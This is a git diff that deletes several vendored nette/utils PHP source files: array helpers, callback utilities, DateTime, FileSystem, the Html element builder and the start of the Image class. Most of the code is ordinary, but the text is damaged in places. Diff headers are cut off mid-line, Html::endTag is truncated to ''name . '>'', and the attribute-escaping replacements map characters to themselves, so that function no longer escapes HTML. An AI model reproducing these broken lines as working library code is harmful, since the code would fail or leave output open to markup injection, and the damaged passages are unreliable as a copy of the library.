=== '|') { - throw new Nette\InvalidArgumentException("Invalid path '$path'."); - } - - $res = $parts[0] === '->' ? new \stdClass : []; - - foreach ($array as $rowOrig) { - $row = (array) $rowOrig; - $x = &$res; - - for ($i = 0; $i < count($parts); $i++) { - $part = $parts[$i]; - if ($part === '[]') { - $x = &$x[]; - - } elseif ($part === '=') { - if (isset($parts[++$i])) { - $x = $row[$parts[$i]]; - $row = null; - } - - } elseif ($part === '->') { - if (isset($parts[++$i])) { - if ($x === null) { - $x = new \stdClass; - } - $x = &$x->{$row[$parts[$i]]}; - } else { - $row = is_object($rowOrig) ? $rowOrig : (object) $row; - } - - } elseif ($part !== '|') { - $x = &$x[(string) $row[$part]]; - } - } - - if ($x === null) { - $x = $row; - } - } - - return $res; - } - - - /** - * Normalizes array to associative array. Replace numeric keys with their values, the new value will be $filling. - * @param mixed $filling - */ - public static function normalize(array $array, $filling = null): array - { - $res = []; - foreach ($array as $k => $v) { - $res[is_int($k) ? $v : $k] = is_int($k) ? $filling : $v; - } - return $res; - } - - - /** - * Returns and removes the value of an item from an array. If it does not exist, it throws an exception, - * or returns $default, if provided. - * @param string|int $key - * @param mixed $default - * @return mixed - * @throws Nette\InvalidArgumentException if item does not exist and default value is not provided - */ - public static function pick(array &$array, $key, $default = null) - { - if (array_key_exists($key, $array)) { - $value = $array[$key]; - unset($array[$key]); - return $value; - - } elseif (func_num_args() < 3) { - throw new Nette\InvalidArgumentException("Missing item '$key'."); - - } else { - return $default; - } - } - - - /** - * Tests whether at least one element in the array passes the test implemented by the - * provided callback with signature `function ($value, $key, array $array): bool`. - */ - public static function some(array $array, callable $callback): bool - { - foreach ($array as $k => $v) { - if ($callback($v, $k, $array)) { - return true; - } - } - return false; - } - - - /** - * Tests whether all elements in the array pass the test implemented by the provided function, - * which has the signature `function ($value, $key, array $array): bool`. - */ - public static function every(array $array, callable $callback): bool - { - foreach ($array as $k => $v) { - if (!$callback($v, $k, $array)) { - return false; - } - } - return true; - } - - - /** - * Calls $callback on all elements in the array and returns the array of return values. - * The callback has the signature `function ($value, $key, array $array): bool`. - */ - public static function map(array $array, callable $callback): array - { - $res = []; - foreach ($array as $k => $v) { - $res[$k] = $callback($v, $k, $array); - } - return $res; - } - - - /** - * Copies the elements of the $array array to the $object object and then returns it. - * @param object $object - * @return object - */ - public static function toObject(array $array, $object) - { - foreach ($array as $k => $v) { - $object->$k = $v; - } - return $object; - } - - - /** - * Converts value to array key. - * @param mixed $value - * @return int|string - */ - public static function toKey($value) - { - return key([$value => null]); - } -} diff --git a/vendor/nette/utils/src/Utils/Callback.php b/vendor/nette/utils/src/Utils/Callback.php deleted file mode 100644 index b9bc2a1..0000000 --- a/vendor/nette/utils/src/Utils/Callback.php +++ /dev/null @@ -1,177 +0,0 @@ -getMessage()); - } - } - - - /** - * Invokes callback. - * @return mixed - * @deprecated - */ - public static function invoke($callable, ...$args) - { - trigger_error(__METHOD__ . '() is deprecated, use native invoking.', E_USER_DEPRECATED); - self::check($callable); - return $callable(...$args); - } - - - /** - * Invokes callback with an array of parameters. - * @return mixed - * @deprecated - */ - public static function invokeArgs($callable, array $args = []) - { - trigger_error(__METHOD__ . '() is deprecated, use native invoking.', E_USER_DEPRECATED); - self::check($callable); - return $callable(...$args); - } - - - /** - * Invokes internal PHP function with own error handler. - * @return mixed - */ - public static function invokeSafe(string $function, array $args, callable $onError) - { - $prev = set_error_handler(function ($severity, $message, $file) use ($onError, &$prev, $function): ?bool { - if ($file === __FILE__) { - $msg = ini_get('html_errors') ? Html::htmlToText($message) : $message; - $msg = preg_replace("#^$function\(.*?\): #", '', $msg); - if ($onError($msg, $severity) !== false) { - return null; - } - } - return $prev ? $prev(...func_get_args()) : false; - }); - - try { - return $function(...$args); - } finally { - restore_error_handler(); - } - } - - - /** - * Checks that $callable is valid PHP callback. Otherwise throws exception. If the $syntax is set to true, only verifies - * that $callable has a valid structure to be used as a callback, but does not verify if the class or method actually exists. - * @param mixed $callable - * @return callable - * @throws Nette\InvalidArgumentException - */ - public static function check($callable, bool $syntax = false) - { - if (!is_callable($callable, $syntax)) { - throw new Nette\InvalidArgumentException($syntax - ? 'Given value is not a callable type.' - : sprintf("Callback '%s' is not callable.", self::toString($callable)) - ); - } - return $callable; - } - - - /** - * Converts PHP callback to textual form. Class or method may not exists. - * @param mixed $callable - */ - public static function toString($callable): string - { - if ($callable instanceof \Closure) { - $inner = self::unwrap($callable); - return '{closure' . ($inner instanceof \Closure ? '}' : ' ' . self::toString($inner) . '}'); - } elseif (is_string($callable) && $callable[0] === "\0") { - return '{lambda}'; - } else { - is_callable(is_object($callable) ? [$callable, '__invoke'] : $callable, true, $textual); - return $textual; - } - } - - - /** - * Returns reflection for method or function used in PHP callback. - * @param callable $callable type check is escalated to ReflectionException - * @return \ReflectionMethod|\ReflectionFunction - * @throws \ReflectionException if callback is not valid - */ - public static function toReflection($callable): \ReflectionFunctionAbstract - { - if ($callable instanceof \Closure) { - $callable = self::unwrap($callable); - } - - if (is_string($callable) && strpos($callable, '::')) { - return new \ReflectionMethod($callable); - } elseif (is_array($callable)) { - return new \ReflectionMethod($callable[0], $callable[1]); - } elseif (is_object($callable) && !$callable instanceof \Closure) { - return new \ReflectionMethod($callable, '__invoke'); - } else { - return new \ReflectionFunction($callable); - } - } - - - /** - * Checks whether PHP callback is function or static method. - */ - public static function isStatic(callable $callable): bool - { - return is_array($callable) ? is_string($callable[0]) : is_string($callable); - } - - - /** - * Unwraps closure created by Closure::fromCallable(). - */ - public static function unwrap(\Closure $closure): callable - { - $r = new \ReflectionFunction($closure); - if (substr($r->name, -1) === '}') { - return $closure; - - } elseif ($obj = $r->getClosureThis()) { - return [$obj, $r->name]; - - } elseif ($class = $r->getClosureScopeClass()) { - return [$class->name, $r->name]; - - } else { - return $r->name; - } - } -} diff --git a/vendor/nette/utils/src/Utils/DateTime.php b/vendor/nette/utils/src/Utils/DateTime.php deleted file mode 100644 index 45657c5..0000000 --- a/vendor/nette/utils/src/Utils/DateTime.php +++ /dev/null @@ -1,130 +0,0 @@ -format('Y-m-d H:i:s.u'), $time->getTimezone()); - - } elseif (is_numeric($time)) { - if ($time <= self::YEAR) { - $time += time(); - } - return (new static('@' . $time))->setTimezone(new \DateTimeZone(date_default_timezone_get())); - - } else { // textual or null - return new static((string) $time); - } - } - - - /** - * Creates DateTime object. - * @return static - * @throws Nette\InvalidArgumentException if the date and time are not valid. - */ - public static function fromParts(int $year, int $month, int $day, int $hour = 0, int $minute = 0, float $second = 0.0) - { - $s = sprintf('%04d-%02d-%02d %02d:%02d:%02.5f', $year, $month, $day, $hour, $minute, $second); - if (!checkdate($month, $day, $year) || $hour < 0 || $hour > 23 || $minute < 0 || $minute > 59 || $second < 0 || $second >= 60) { - throw new Nette\InvalidArgumentException("Invalid date '$s'"); - } - return new static($s); - } - - - /** - * Returns new DateTime object formatted according to the specified format. - * @param string $format The format the $time parameter should be in - * @param string $time - * @param string|\DateTimeZone $timezone (default timezone is used if null is passed) - * @return static|false - */ - public static function createFromFormat($format, $time, $timezone = null) - { - if ($timezone === null) { - $timezone = new \DateTimeZone(date_default_timezone_get()); - - } elseif (is_string($timezone)) { - $timezone = new \DateTimeZone($timezone); - - } elseif (!$timezone instanceof \DateTimeZone) { - throw new Nette\InvalidArgumentException('Invalid timezone given'); - } - - $date = parent::createFromFormat($format, $time, $timezone); - return $date ? static::from($date) : false; - } - - - /** - * Returns JSON representation in ISO 8601 (used by JavaScript). - */ - public function jsonSerialize(): string - { - return $this->format('c'); - } - - - /** - * Returns the date and time in the format 'Y-m-d H:i:s'. - */ - public function __toString(): string - { - return $this->format('Y-m-d H:i:s'); - } - - - /** - * Creates a copy with a modified time. - * @return static - */ - public function modifyClone(string $modify = '') - { - $dolly = clone $this; - return $modify ? $dolly->modify($modify) : $dolly; - } -} diff --git a/vendor/nette/utils/src/Utils/FileSystem.php b/vendor/nette/utils/src/Utils/FileSystem.php deleted file mode 100644 index 9856056..0000000 --- a/vendor/nette/utils/src/Utils/FileSystem.php +++ /dev/null @@ -1,183 +0,0 @@ -getPathname()); - } - foreach ($iterator = new \RecursiveIteratorIterator(new \RecursiveDirectoryIterator($origin, \RecursiveDirectoryIterator::SKIP_DOTS), \RecursiveIteratorIterator::SELF_FIRST) as $item) { - if ($item->isDir()) { - static::createDir($target . '/' . $iterator->getSubPathName()); - } else { - static::copy($item->getPathname(), $target . '/' . $iterator->getSubPathName()); - } - } - - } else { - static::createDir(dirname($target)); - if (($s = @fopen($origin, 'rb')) && ($d = @fopen($target, 'wb')) && @stream_copy_to_stream($s, $d) === false) { // @ is escalated to exception - throw new Nette\IOException("Unable to copy file '$origin' to '$target'. " . Helpers::getLastError()); - } - } - } - - - /** - * Deletes a file or directory if exists. - * @throws Nette\IOException on error occurred - */ - public static function delete(string $path): void - { - if (is_file($path) || is_link($path)) { - $func = DIRECTORY_SEPARATOR === '\\' && is_dir($path) ? 'rmdir' : 'unlink'; - if (!@$func($path)) { // @ is escalated to exception - throw new Nette\IOException("Unable to delete '$path'. " . Helpers::getLastError()); - } - - } elseif (is_dir($path)) { - foreach (new \FilesystemIterator($path) as $item) { - static::delete($item->getPathname()); - } - if (!@rmdir($path)) { // @ is escalated to exception - throw new Nette\IOException("Unable to delete directory '$path'. " . Helpers::getLastError()); - } - } - } - - - /** - * Renames or moves a file or a directory. Overwrites existing files and directories by default. - * @throws Nette\IOException on error occurred - * @throws Nette\InvalidStateException if $overwrite is set to false and destination already exists - */ - public static function rename(string $origin, string $target, bool $overwrite = true): void - { - if (!$overwrite && file_exists($target)) { - throw new Nette\InvalidStateException("File or directory '$target' already exists."); - - } elseif (!file_exists($origin)) { - throw new Nette\IOException("File or directory '$origin' not found."); - - } else { - static::createDir(dirname($target)); - if (realpath($origin) !== realpath($target)) { - static::delete($target); - } - if (!@rename($origin, $target)) { // @ is escalated to exception - throw new Nette\IOException("Unable to rename file or directory '$origin' to '$target'. " . Helpers::getLastError()); - } - } - } - - - /** - * Reads the content of a file. - * @throws Nette\IOException on error occurred - */ - public static function read(string $file): string - { - $content = @file_get_contents($file); // @ is escalated to exception - if ($content === false) { - throw new Nette\IOException("Unable to read file '$file'. " . Helpers::getLastError()); - } - return $content; - } - - - /** - * Writes the string to a file. - * @throws Nette\IOException on error occurred - */ - public static function write(string $file, string $content, ?int $mode = 0666): void - { - static::createDir(dirname($file)); - if (@file_put_contents($file, $content) === false) { // @ is escalated to exception - throw new Nette\IOException("Unable to write file '$file'. " . Helpers::getLastError()); - } - if ($mode !== null && !@chmod($file, $mode)) { // @ is escalated to exception - throw new Nette\IOException("Unable to chmod file '$file' to mode " . decoct($mode) . '. ' . Helpers::getLastError()); - } - } - - - /** - * Determines if the path is absolute. - */ - public static function isAbsolute(string $path): bool - { - return (bool) preg_match('#([a-z]:)?[/\\\\]|[a-z][a-z0-9+.-]*://#Ai', $path); - } - - - /** - * Normalizes `..` and `.` and directory separators in path. - */ - public static function normalizePath(string $path): string - { - $parts = $path === '' ? [] : preg_split('~[/\\\\]+~', $path); - $res = []; - foreach ($parts as $part) { - if ($part === '..' && $res && end($res) !== '..' && end($res) !== '') { - array_pop($res); - } elseif ($part !== '.') { - $res[] = $part; - } - } - return $res === [''] - ? DIRECTORY_SEPARATOR - : implode(DIRECTORY_SEPARATOR, $res); - } - - - /** - * Joins all segments of the path and normalizes the result. - */ - public static function joinPaths(string ...$paths): string - { - return self::normalizePath(implode('/', $paths)); - } -} diff --git a/vendor/nette/utils/src/Utils/Helpers.php b/vendor/nette/utils/src/Utils/Helpers.php deleted file mode 100644 index 57c058d..0000000 --- a/vendor/nette/utils/src/Utils/Helpers.php +++ /dev/null @@ -1,71 +0,0 @@ - element's attributes */ - public $attrs = []; - - /** @var bool use XHTML syntax? */ - public static $xhtml = false; - - /** @var array void elements */ - public static $emptyElements = [ - 'img' => 1, 'hr' => 1, 'br' => 1, 'input' => 1, 'meta' => 1, 'area' => 1, 'embed' => 1, 'keygen' => 1, - 'source' => 1, 'base' => 1, 'col' => 1, 'link' => 1, 'param' => 1, 'basefont' => 1, 'frame' => 1, - 'isindex' => 1, 'wbr' => 1, 'command' => 1, 'track' => 1, - ]; - - /** @var array nodes */ - protected $children = []; - - /** @var string element's name */ - private $name; - - /** @var bool is element empty? */ - private $isEmpty; - - - /** - * Constructs new HTML element. - * @param array|string $attrs element's attributes or plain text content - * @return static - */ - public static function el(string $name = null, $attrs = null) - { - $el = new static; - $parts = explode(' ', (string) $name, 2); - $el->setName($parts[0]); - - if (is_array($attrs)) { - $el->attrs = $attrs; - - } elseif ($attrs !== null) { - $el->setText($attrs); - } - - if (isset($parts[1])) { - foreach (Strings::matchAll($parts[1] . ' ', '#([a-z0-9:-]+)(?:=(["\'])?(.*?)(?(2)\2|\s))?#i') as $m) { - $el->attrs[$m[1]] = $m[3] ?? true; - } - } - - return $el; - } - - - /** - * Returns an object representing HTML text. - */ - public static function fromHtml(string $html): self - { - return (new static)->setHtml($html); - } - - - /** - * Returns an object representing plain text. - */ - public static function fromText(string $text): self - { - return (new static)->setText($text); - } - - - /** - * Converts to HTML. - */ - final public function toHtml(): string - { - return $this->render(); - } - - - /** - * Converts to plain text. - */ - final public function toText(): string - { - return $this->getText(); - } - - - /** - * Converts given HTML code to plain text. - */ - public static function htmlToText(string $html): string - { - return html_entity_decode(strip_tags($html), ENT_QUOTES | ENT_HTML5, 'UTF-8'); - } - - - /** - * Changes element's name. - * @return static - */ - final public function setName(string $name, bool $isEmpty = null) - { - $this->name = $name; - $this->isEmpty = $isEmpty ?? isset(static::$emptyElements[$name]); - return $this; - } - - - /** - * Returns element's name. - */ - final public function getName(): string - { - return $this->name; - } - - - /** - * Is element empty? - */ - final public function isEmpty(): bool - { - return $this->isEmpty; - } - - - /** - * Sets multiple attributes. - * @return static - */ - public function addAttributes(array $attrs) - { - $this->attrs = array_merge($this->attrs, $attrs); - return $this; - } - - - /** - * Appends value to element's attribute. - * @param mixed $value - * @param mixed $option - * @return static - */ - public function appendAttribute(string $name, $value, $option = true) - { - if (is_array($value)) { - $prev = isset($this->attrs[$name]) ? (array) $this->attrs[$name] : []; - $this->attrs[$name] = $value + $prev; - - } elseif ((string) $value === '') { - $tmp = &$this->attrs[$name]; // appending empty value? -> ignore, but ensure it exists - - } elseif (!isset($this->attrs[$name]) || is_array($this->attrs[$name])) { // needs array - $this->attrs[$name][$value] = $option; - - } else { - $this->attrs[$name] = [$this->attrs[$name] => true, $value => $option]; - } - return $this; - } - - - /** - * Sets element's attribute. - * @param mixed $value - * @return static - */ - public function setAttribute(string $name, $value) - { - $this->attrs[$name] = $value; - return $this; - } - - - /** - * Returns element's attribute. - * @return mixed - */ - public function getAttribute(string $name) - { - return $this->attrs[$name] ?? null; - } - - - /** - * Unsets element's attribute. - * @return static - */ - public function removeAttribute(string $name) - { - unset($this->attrs[$name]); - return $this; - } - - - /** - * Unsets element's attributes. - * @return static - */ - public function removeAttributes(array $attributes) - { - foreach ($attributes as $name) { - unset($this->attrs[$name]); - } - return $this; - } - - - /** - * Overloaded setter for element's attribute. - * @param mixed $value - */ - final public function __set(string $name, $value): void - { - $this->attrs[$name] = $value; - } - - - /** - * Overloaded getter for element's attribute. - * @return mixed - */ - final public function &__get(string $name) - { - return $this->attrs[$name]; - } - - - /** - * Overloaded tester for element's attribute. - */ - final public function __isset(string $name): bool - { - return isset($this->attrs[$name]); - } - - - /** - * Overloaded unsetter for element's attribute. - */ - final public function __unset(string $name): void - { - unset($this->attrs[$name]); - } - - - /** - * Overloaded setter for element's attribute. - * @return mixed - */ - final public function __call(string $m, array $args) - { - $p = substr($m, 0, 3); - if ($p === 'get' || $p === 'set' || $p === 'add') { - $m = substr($m, 3); - $m[0] = $m[0] | "\x20"; - if ($p === 'get') { - return $this->attrs[$m] ?? null; - - } elseif ($p === 'add') { - $args[] = true; - } - } - - if (count($args) === 0) { // invalid - - } elseif (count($args) === 1) { // set - $this->attrs[$m] = $args[0]; - - } else { // add - $this->appendAttribute($m, $args[0], $args[1]); - } - - return $this; - } - - - /** - * Special setter for element's attribute. - * @return static - */ - final public function href(string $path, array $query = null) - { - if ($query) { - $query = http_build_query($query, '', '&'); - if ($query !== '') { - $path .= '?' . $query; - } - } - $this->attrs['href'] = $path; - return $this; - } - - - /** - * Setter for data-* attributes. Booleans are converted to 'true' resp. 'false'. - * @param mixed $value - * @return static - */ - public function data(string $name, $value = null) - { - if (func_num_args() === 1) { - $this->attrs['data'] = $name; - } else { - $this->attrs["data-$name"] = is_bool($value) ? json_encode($value) : $value; - } - return $this; - } - - - /** - * Sets element's HTML content. - * @param IHtmlString|string $html - * @return static - */ - final public function setHtml($html) - { - $this->children = [(string) $html]; - return $this; - } - - - /** - * Returns element's HTML content. - */ - final public function getHtml(): string - { - return implode('', $this->children); - } - - - /** - * Sets element's textual content. - * @param IHtmlString|string|int|float $text - * @return static - */ - final public function setText($text) - { - if (!$text instanceof IHtmlString) { - $text = htmlspecialchars((string) $text, ENT_NOQUOTES, 'UTF-8'); - } - $this->children = [(string) $text]; - return $this; - } - - - /** - * Returns element's textual content. - */ - final public function getText(): string - { - return self::htmlToText($this->getHtml()); - } - - - /** - * Adds new element's child. - * @param IHtmlString|string $child Html node or raw HTML string - * @return static - */ - final public function addHtml($child) - { - return $this->insert(null, $child); - } - - - /** - * Appends plain-text string to element content. - * @param IHtmlString|string|int|float $text - * @return static - */ - public function addText($text) - { - if (!$text instanceof IHtmlString) { - $text = htmlspecialchars((string) $text, ENT_NOQUOTES, 'UTF-8'); - } - return $this->insert(null, $text); - } - - - /** - * Creates and adds a new Html child. - * @param array|string $attrs element's attributes or raw HTML string - * @return static created element - */ - final public function create(string $name, $attrs = null) - { - $this->insert(null, $child = static::el($name, $attrs)); - return $child; - } - - - /** - * Inserts child node. - * @param IHtmlString|string $child Html node or raw HTML string - * @return static - */ - public function insert(?int $index, $child, bool $replace = false) - { - $child = $child instanceof self ? $child : (string) $child; - if ($index === null) { // append - $this->children[] = $child; - - } else { // insert or replace - array_splice($this->children, $index, $replace ? 1 : 0, [$child]); - } - - return $this; - } - - - /** - * Inserts (replaces) child node (\ArrayAccess implementation). - * @param int|null $index position or null for appending - * @param Html|string $child Html node or raw HTML string - */ - final public function offsetSet($index, $child): void - { - $this->insert($index, $child, true); - } - - - /** - * Returns child node (\ArrayAccess implementation). - * @param int $index - * @return static|string - */ - final public function offsetGet($index) - { - return $this->children[$index]; - } - - - /** - * Exists child node? (\ArrayAccess implementation). - * @param int $index - */ - final public function offsetExists($index): bool - { - return isset($this->children[$index]); - } - - - /** - * Removes child node (\ArrayAccess implementation). - * @param int $index - */ - public function offsetUnset($index): void - { - if (isset($this->children[$index])) { - array_splice($this->children, $index, 1); - } - } - - - /** - * Returns children count. - */ - final public function count(): int - { - return count($this->children); - } - - - /** - * Removes all children. - */ - public function removeChildren(): void - { - $this->children = []; - } - - - /** - * Iterates over elements. - */ - final public function getIterator(): \ArrayIterator - { - return new \ArrayIterator($this->children); - } - - - /** - * Returns all children. - */ - final public function getChildren(): array - { - return $this->children; - } - - - /** - * Renders element's start tag, content and end tag. - */ - final public function render(int $indent = null): string - { - $s = $this->startTag(); - - if (!$this->isEmpty) { - // add content - if ($indent !== null) { - $indent++; - } - foreach ($this->children as $child) { - if ($child instanceof self) { - $s .= $child->render($indent); - } else { - $s .= $child; - } - } - - // add end tag - $s .= $this->endTag(); - } - - if ($indent !== null) { - return "\n" . str_repeat("\t", $indent - 1) . $s . "\n" . str_repeat("\t", max(0, $indent - 2)); - } - return $s; - } - - - final public function __toString(): string - { - try { - return $this->render(); - } catch (\Throwable $e) { - if (PHP_VERSION_ID >= 70400) { - throw $e; - } - trigger_error('Exception in ' . __METHOD__ . "(): {$e->getMessage()} in {$e->getFile()}:{$e->getLine()}", E_USER_ERROR); - return ''; - } - } - - - /** - * Returns element's start tag. - */ - final public function startTag(): string - { - return $this->name - ? '<' . $this->name . $this->attributes() . (static::$xhtml && $this->isEmpty ? ' />' : '>') - : ''; - } - - - /** - * Returns element's end tag. - */ - final public function endTag(): string - { - return $this->name && !$this->isEmpty ? 'name . '>' : ''; - } - - - /** - * Returns element's attributes. - * @internal - */ - final public function attributes(): string - { - if (!is_array($this->attrs)) { - return ''; - } - - $s = ''; - $attrs = $this->attrs; - foreach ($attrs as $key => $value) { - if ($value === null || $value === false) { - continue; - - } elseif ($value === true) { - if (static::$xhtml) { - $s .= ' ' . $key . '="' . $key . '"'; - } else { - $s .= ' ' . $key; - } - continue; - - } elseif (is_array($value)) { - if (strncmp($key, 'data-', 5) === 0) { - $value = Json::encode($value); - - } else { - $tmp = null; - foreach ($value as $k => $v) { - if ($v != null) { // intentionally ==, skip nulls & empty string - // composite 'style' vs. 'others' - $tmp[] = $v === true ? $k : (is_string($k) ? $k . ':' . $v : $v); - } - } - if ($tmp === null) { - continue; - } - - $value = implode($key === 'style' || !strncmp($key, 'on', 2) ? ';' : ' ', $tmp); - } - - } elseif (is_float($value)) { - $value = rtrim(rtrim(number_format($value, 10, '.', ''), '0'), '.'); - - } else { - $value = (string) $value; - } - - $q = strpos($value, '"') === false ? '"' : "'"; - $s .= ' ' . $key . '=' . $q - . str_replace( - ['&', $q, '<'], - ['&', $q === '"' ? '"' : ''', self::$xhtml ? '<' : '<'], - $value - ) - . (strpos($value, '`') !== false && strpbrk($value, ' <>"\'') === false ? ' ' : '') - . $q; - } - - $s = str_replace('@', '@', $s); - return $s; - } - - - /** - * Clones all children too. - */ - public function __clone() - { - foreach ($this->children as $key => $value) { - if (is_object($value)) { - $this->children[$key] = clone $value; - } - } - } -} diff --git a/vendor/nette/utils/src/Utils/IHtmlString.php b/vendor/nette/utils/src/Utils/IHtmlString.php deleted file mode 100644 index 8a63b74..0000000 --- a/vendor/nette/utils/src/Utils/IHtmlString.php +++ /dev/null @@ -1,19 +0,0 @@ - - * $image = Image::fromFile('nette.jpg'); - * $image->resize(150, 100); - * $image->sharpen(); - * $image->send(); - * - * - * @method Image affine(array $affine, array $clip = null) - * @method array affineMatrixConcat(array $m1, array $m2) - * @method array affineMatrixGet(int $type, mixed $options = null) - * @method void alphaBlending(bool $on) - * @method void antialias(bool $on) - * @method void arc($x, $y, $w, $h, $start, $end, $color) - * @method void char(int $font, $x, $y, string $char, $color) - * @method void charUp(int $font, $x, $y, string $char, $color) - * @method int colorAllocate($red, $green, $blue) - * @method int colorAllocateAlpha($red, $green, $blue, $alpha) - * @method int colorAt($x, $y) - * @method int colorClosest($red, $green, $blue) - * @method int colorClosestAlpha($red, $green, $blue, $alpha) - * @method int colorClosestHWB($red, $green, $blue) - * @method void colorDeallocate($color) - * @method int colorExact($red, $green, $blue) - * @method int colorExactAlpha($red, $green, $blue, $alpha) - * @method void colorMatch(Image $image2) - * @method int colorResolve($red, $green, $blue) - * @method int colorResolveAlpha($red, $green, $blue, $alpha) - * @method void colorSet($index, $red, $green, $blue) - * @method array colorsForIndex($index) - * @method int colorsTotal() - * @method int colorTransparent($color = null) - * @method void convolution(array $matrix, float $div, float $offset) - * @method void copy(Image $src, $dstX, $dstY, $srcX, $srcY, $srcW, $srcH) - * @method void copyMerge(Image $src, $dstX, $dstY, $srcX, $srcY, $srcW, $srcH, $opacity) - * @method void copyMergeGray(Image $src, $dstX, $dstY, $srcX, $srcY, $srcW, $srcH, $opacity) - * @method void copyResampled(Image $src, $dstX, $dstY, $srcX, $srcY, $dstW, $dstH, $srcW, $srcH) - * @method void copyResized(Image $src, $dstX, $dstY, $srcX, $srcY, $dstW, $dstH, $srcW, $srcH) - * @method Image cropAuto(int $mode = -1, float $threshold = .5, int $color = -1) - * @method void ellipse($cx, $cy, $w, $h, $color) - * @method void fill($x, $y, $color) - * @method void filledArc($cx, $cy, $w, $h, $s, $e, $color, $style) - * @method void filledEllipse($cx, $cy, $w, $h, $color) - * @method void filledPolygon(array $points, $numPoints, $color) - * @method void filledRectangle($x1, $y1, $x2, $y2, $color) - * @method void fillToBorder($x, $y, $border, $color) - * @method void filter($filtertype) - * @method void flip(int $mode) - * @method array ftText($size, $angle, $x, $y, $col, string $fontFile, string $text, array $extrainfo = null) - * @method void gammaCorrect(float $inputgamma, float $outputgamma) - * @method array getClip() - * @method int interlace($interlace = null) - * @method bool isTrueColor() - * @method void layerEffect($effect) - * @method void line($x1, $y1, $x2, $y2, $color) - * @method void openPolygon(array $points, int $num_points, int $color) - * @method void paletteCopy(Image $source) - * @method void paletteToTrueColor() - * @method void polygon(array $points, $numPoints, $color) - * @method array psText(string $text, $font, $size, $color, $backgroundColor, $x, $y, $space = null, $tightness = null, float $angle = null, $antialiasSteps = null) - * @method void rectangle($x1, $y1, $x2, $y2, $col) - * @method mixed resolution(int $res_x = null, int $res_y = null) - * @method Image rotate(float $angle, $backgroundColor) - * @method void saveAlpha(bool $saveflag) - * @method Image scale(int $newWidth, int $newHeight = -1, int $mode = IMG_BILINEAR_FIXED) - * @method void setBrush(Image $brush) - * @method void setClip(int $x1, int $y1, int $x2, int $y2) - * @method void setInterpolation(int $method = IMG_BILINEAR_FIXED) - * @method void setPixel($x, $y, $color) - * @method void setStyle(array $style) - * @method void setThickness($thickness) - * @method void setTile(Image $tile) - * @method void string($font, $x, $y, string $s, $col) - * @method void stringUp($font, $x, $y, string $s, $col) - * @method void trueColorToPalette(bool $dither, $ncolors) - * @method array ttfText($size, $angle, $x, $y, $color, string $fontfile, string $text) - * @property-read int $width - * @property-read int $height - * @property-read resource|\GdImage $imageResource - */ -class Image -{ - use Nette\SmartObject; - - /** {@link resize()} only shrinks images */ - public const SHRINK_ONLY = 0b0001; - - /** {@link resize()} will ignore aspect ratio */ - public const STRETCH = 0b0010; - - /** {@link resize()} fits in given area so its dimensions are less than or equal to the required dimensions */ - public const FIT = 0b0000; - - /** {@link resize()} fills given area so its dimensions are greater than or equal to the required dimensions */ - public const FILL = 0b0100; - - /** {@link resize()} fills given area exactly */ - public const EXACT = 0b1000; - - /** image types */ - public const - JPEG = IMAGETYPE_JPEG, - PNG = IMAGETYPE_PNG, - GIF = IMAGETYPE_GIF, - WEBP = IMAGETYPE_WEBP, - BMP = IMAGETYPE_BMP; - - public const EMPTY_GIF = "GIF89a\x01\x00\x01\x00\x80\x00\x00\x00\x00\x00\x00\x00\x00!\xf9\x04\x01\x00\x00\x00\x00,\x00\x00\x00\x00\x01\x00\x01\x00\x00\x02\x02D\x01\x00;"; - - private const FORMATS = [self::JPEG => 'jpeg', self::PNG => 'png', self::GIF => 'gif', self::WEBP => 'webp', self::BMP => 'bmp']; - - /** @var resource|\GdImage */ - private $image; - - - /** - * Returns RGB color (0..255) and transparency (0..127). - */ - public static function rgb(int $red, int $green, int $blue, int $transparency = 0): array - { - return [ - 'red' => max(0, min(255, $red)), - 'green' => max(0, min(255, $green)), - 'blue' => max(0, min(255, $blue)), - 'alpha' => max(0, min(127, $transparency)), - ]; - } - - - /** - * Reads an image from a file and returns its type in $detectedFormat. Supported types are JPEG, PNG, GIF, WEBP and BMP. - * @throws Nette\NotSupportedException if gd extension is not loaded - * @throws UnknownImageFileException if file not found or file type is not known - * @return static - */ - public static function fromFile(string $file, int &$detectedFormat = null) - { - if (!extension_loaded('gd')) { - throw new Nette\NotSupportedException('PHP extension GD is not loaded.'); - } - - $detectedFormat = @getimagesize($file)[2]; // @ - files smaller than 12 bytes causes read error - if (!isset(self::FORMATS[$detectedFormat])) { - $detectedFormat = null; - throw new UnknownImageFileException(is_file($file) ? "Unknown type of file '$file'." : "File '$file' not found."); - } - return new static(Callback::invokeSafe('imagecreatefrom' . image_type_to_extension($detectedFormat, false), [$file], function (string $message): void { - throw new ImageException($message); - })); - } - - - /** - * Reads an image from a string and returns its type in $detectedFormat. Supported types are JPEG, PNG, GIF, WEBP and BMP. - * @return static - * @throws Nette\NotSupportedException if gd extension is not loaded - * @throws ImageException - */ - public static function fromString(string $s, int &$detectedFormat = null) - { - if (!extension_loaded('gd')) { - throw new Nette\NotSupportedException('PHP extension GD is not loaded.'); - } - - if (func_num_args() > 1) { - $tmp = @getimagesizefromstring($s)[2]; // @ - strings smaller than 12 bytes causes read error - $detectedFormat = isset(self::FORMATS[$tmp]) ? $tmp : null; - } - - return new static(Callback::invokeSafe('imagecreatefromstring', [$s], function (string $message): void { - throw new ImageException($message); - })); - } - - - /** - * Creates a new true color image of the given dimensions. The default color is black. - * @return static - * @throws Nette\NotSupportedException if gd extension is not loaded - */ - public static function fromBlank(int $width, int $height, array $color = null) - { - if (!extension_loaded('gd')) { - throw new Nette\NotSupportedException('PHP extension GD is not loaded.'); - } - - if ($width < 1 || $height < 1) { - throw new Nette\InvalidArgumentException('Image width and height must be greater than zero.'); - } - - $image = imagecreatetruecolor($width, $height); - if ($color) { - $color += ['alpha' => 0]; - $color = imagecolorresolvealpha($image, $color['red'], $color['green'], $color['blue'], $color['alpha']); - imagealphablending($image, false); - imagefilledrectangle($image, 0, 0, $width - 1, $height - 1, $color); - imagealphablending($image, true); - } - return new static($image); - } - - - /** - * Returns the file extension for the given `Image::XXX` constant. - */ - public static function typeToExtension(int $type): string - { - if (!isset(self::FORMATS[$type])) { - throw new Nette\InvalidArgumentException("Unsupported image type '$type'."); - } - return self::FORMATS[$type]; - } - - - /** - * Returns the mime type for the given `Image::XXX` constant. - */ - public static function typeToMimeType(int $type): string - { - return 'image/' . self::typeToExtension($type); - } - - - /** - * Wraps GD image. - * @param resource|\GdImage $image - */ - public function __construct($image) - { - $this->setImageResource($image); - imagesavealpha($image, true); - } - - - /** - * Returns image width. - */ - public function getWidth(): int - { - return imagesx($this->image); - } - - - /** - * Returns image height. - */ - public function getHeight(): int - { - return imagesy($this->image); - } - - - /** - * Sets image resource. - * 